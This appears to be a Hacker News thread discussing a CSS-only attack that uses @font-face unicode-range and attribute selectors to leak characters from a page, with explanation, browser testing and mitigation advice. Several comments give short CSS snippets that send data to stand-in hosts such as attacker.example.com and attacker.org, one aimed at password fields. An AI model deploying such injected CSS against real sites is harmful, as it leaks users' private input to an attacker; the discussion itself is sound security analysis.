
CSS Based Attack fontface - renlinx
http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
======
jo-han
Nice, and by using 'font-variant-ligatures: common-ligatures;' you can
actually try to harvest character combinations as well. For example:

    
    
      @font-face {
        font-family: poc;
        src: url(http://attacker.example.com/?ff); /* ff */
        unicode-range: U+FB00;
      }
    
      #sensitive-information {
        font-family: poc;
        font-variant-ligatures: common-ligatures; 
      }
    

(edit: improved formatting/explanation)

~~~
khaled
I don’t see how this would work. When the browser renders an “ff” ligature, it
does not do so by converting every “ff” in the input into U+FB00, as such it
will never use this font unless the user input actually contains U+FB00 which
is unlikely.

~~~
jo-han
Khaled, you're right - it doesn't work. The characters are not substituted. I
made a quick proof of concept, but it triggered for the wrong reasons. Bummer.

------
lepunk
Neat, but don't think its exploitable in reality, but neat indeed.

Did a bit of play around with it and it does seem to work on input fields but
fortunately not on password type fields (which is logical, considering the
browser is not rendering the actual characters for password fields)

[http://lepunk.co.uk/font_face.html](http://lepunk.co.uk/font_face.html)

~~~
gorhill
I can't make this work on my side, both Chromium and Firefox block the
requests for the font resources from l0.cm (because CORS policy):

    
    
        Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy:
        No 'Access-Control-Allow-Origin' header is present on the requested resource.
        Origin 'http://lepunk.co.uk' is therefore not allowed access.

~~~
Buge
That warning just stops the font from being visible to the victim.

I'm pretty sure the requests still go to the attacker.

~~~
gorhill
> I'm pretty sure the requests still go to the attacker

You are right, they do, it's just that the returned data is not allowed to be
seen/used by the page -- the "l0.cm" server still got the information.

------
Mimick
Another interesting way of getting attribute values is using...

    
    
      [value*=a] {
        background-image: url('attacker.org/lolz.png?a');
      }
    
      [value*=b] {
        background-image: url('attacker.org/lolz.png?b');
      }
    
    
    

It can work on passwords too by the way, maybe it can give you an idea of the
order based on the query order, and remember... this work only if the data got
already loaded or the attribute got changed by JavaScript and not by manually
typing...

Edit: Tested that but it load the last bg only (make sense), so you need to
use animation for that to load them one after one.

~~~
d4n3
you could probably combine this with the font-face trick to target different
letters

------
nadaviv
The issue on Chrome's bug tracker [0] that he's linking to appears to return a
403 error. Perhaps they changed their mind on WontFixing it?

[0]
[https://code.google.com/p/chromium/issues/detail?id=543078](https://code.google.com/p/chromium/issues/detail?id=543078)

------
DangerousPie
Presumably a possible target for this would be reddit, where users can upload
custom CSS to style their subreddits?

You could at least get the username, subscribed subreddits, and some debug
info (such as the country code) this way...

~~~
vuchr
They don't let you use urls. To use images in their custom stylesheet you have
to upload it to reddit, then use a special code or something, that gets
replaced with the image url.

------
deanclatworthy
I have to admit, I'm a bit confused about what is actually happening here. Can
someone ELI5?

~~~
ZoFreX
They're setting custom fonts, but specifying the fonts should only be used for
particular characters.

This attack assumes the attacker has some way of getting CSS they wrote onto
the target website, via some other exploit.

The attacker then hosts many font files on a webserver they control. Let's
call the fonts "a", "b", "c", and so on.

They then inject the CSS to set the font for text on the target page to their
custom fonts - but tell it "use font a for all of the 'a' characters" and so
on.

By observing which fonts are downloaded from their webserver, they can learn
information on which characters are and are not present on the page.

~~~
deanclatworthy
Okay, I understand now. Thanks.

~~~
tptacek
If it's helpful: the "sting" of this attack is that it works even when you
can't inject Javascript into the page; that's why it's referred to as an "HTML
injection attack".

The canonical HTML injection attack is cross-site scripting --- it's so
canonical, in fact, that we usually just think about XSS, and not the
generalized flaw of HTML injection. This is an illustration of how even
closing off Javascript as an attack vector doesn't stop HTML injection attacks
from working.

See also:

[http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)

~~~
MichaelGG
If you get HTML/CSS control isn't that game over? If I can get HTML loaded
into your Gmail tab, then I can setup a fake login or "Please re-enter your
password to continue" that has a form action of myserver. (Which then just
redirects you to wherever you were.)

Injecting scripting is cute because it's far more flexible, but I'd guess an
HTML injection is enough to get a fairly high rate of success, albeit a bit
more noticeably.

~~~
tptacek
Generally, we think of browser-based game-overs as being things that
programmatically compromise users without engaging with the user's cognition.

~~~
MichaelGG
Fair enough. Though in practise a HTML inject on a login page will have the
same impact, usually eh?

------
jasonkeene
This can give you the characters but not their ordering or frequency. Still,
it's a nice information leak. Yet another reason to disable custom fonts.

~~~
dictum
> Yet another reason to disable custom fonts

[https://news.ycombinator.com/item?id=10492028](https://news.ycombinator.com/item?id=10492028)

------
hodwik
What would the attack vector be for something like this?

~~~
konceptz
Same as most html injection attacks. I haven't tested as I'm on the way to
work, but I will try to craft the attack as follows:

1: discover html attribute vulnerable to this. 2: craft payload as a link, for
Dom, reflected or stored. 3: watch them type characters as rules are
triggered. (Is this possible to use as a key logger?!)

So that's general, then more specifically As an attacker I would probably
trigger a password lock of the target where the user has to enter security
questions. Then gather that information. Another reason to hate security
questions.

Remediation:

Output encode in the proper context! This most certainly qualifies as the
exact reason why your fancy blacklist (or whitelist) filter set is not the
proper mitigation for xss. In the above scenario, The attacker is injecting
rules as inline css in the context of an html attribute, so then output encode
in that context.

Also I need to check if it can bypass the CSP in any way, though I doubt it.

Sorry for the organization or this post, as I mentioned im on the train.

------
gorhill
When I try the proofs of concept in Firefox 41, I see all font requests being
done at once at page load time, regardless of whether the font resource is
used or not. This actually foils the exploit.

I suppose this is the way to mitigate the issue, to download unconditionally
all the font resources for which the `unicode-range` is smaller than a minimum
number of characters?

~~~
khaled
That is because release builds of Firefox does not support unicode-range, it
just downloads all the fonts. But for unicode-range to be really supported, it
must only download the fonts for ranges used in the page, as this feature is
usually used to split huge fonts (like CJK ones) and let the browser only
downloads what is really needed.

------
TACIXAT
Might be useful in conjunction with a path-relative stylesheet include.

[http://blog.portswigger.net/2015/02/prssi.html](http://blog.portswigger.net/2015/02/prssi.html)

------
d4n3
you could combine this with ::first-letter and custom selectors for each item
of interest to get more specific data from targeted page elements...

If there was a way to target n-th letter in css, you could also get the full
plaintext of an element with a huge number of font-face / selector
combinations

------
mikegerwitz
This is another attack that is also preventable using NoScript, which blocks
web fonts.

Unless you trust the site.

------
wbeckler
Could this be used within email messages? I know that some CSS is allowed in
emails.

~~~
jcranmer
The short answer is probably not, for the simple reason that CSS and HTML
support in email is generally pretty poor. Most webmail clients rely on having
to rewrite CSS (for obvious reasons), which means that properties tend to be
on a whitelist rather than a blacklist, and I think @font-face is usually not
on that list. For many clients, there is also hopefully remote resource load
prevention that prevents it from working.

